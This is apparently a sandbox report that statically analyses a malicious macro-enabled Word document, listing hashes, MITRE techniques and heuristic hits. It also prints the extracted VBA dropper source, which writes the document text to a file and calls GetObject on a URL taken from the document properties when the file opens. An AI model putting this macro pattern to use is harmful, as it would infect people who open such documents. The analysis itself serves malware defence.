Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b319d405609e0cf9…

MALICIOUS

Office (OOXML)

66.2 KB Created: 2021-05-24 09:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 3a0c5811afe9b8b21e6dfa5a6e28831b SHA-1: 3f3895cd62de0e243d845de15d6b14971a493885 SHA-256: b319d405609e0cf9952873e897d1f0b1918aa14069f5ef0c75b38be94a9532b3
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is a malicious OOXML document containing a VBA macro. The `Document_Open` macro triggers the `main` subroutine, which in turn calls `storageCopyIndex`. This function attempts to write the document's text to a file named by the document's title and then uses `GetObject` to navigate to a URL specified by the document's subject, likely to download and execute a second-stage payload. The presence of the `Document_Open` macro and the `GetObject` call strongly indicate a macro-based execution chain.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 974 bytes
SHA-256: 4774ce9498ad5bb3b5e0a9e4e200c0b2cd68718dbf5d7de25f9472c145d64a60
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "varGlobalListbox"
Sub main()
storageCopyIndex
End Sub

Attribute VB_Name = "referenceViewList"
Function variableFunc(procLeft)
variableFunc = procLeft
End Function
Function classLeft()
End Function

Attribute VB_Name = "procedureVar"
Function title()
title = ActiveDocument.BuiltInDocumentProperties("title")
End Function
Function nextStorageArr()
nextStorageArr = ActiveDocument.BuiltInDocumentProperties("subject") & ""
End Function
Sub storageCopyIndex()
Open title For Output As #1
Print #1, ActiveDocument.Range.Text
Close #1
On Error Resume Next
GetObject(nextStorageArr & "").Navigate title
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 9b4b879d11b2e0b0b86cae0b3f03de7937bf43fda7e5957d3ec0a8de6a2da129

Open this report in the interactive analyzer, or submit your own file for analysis.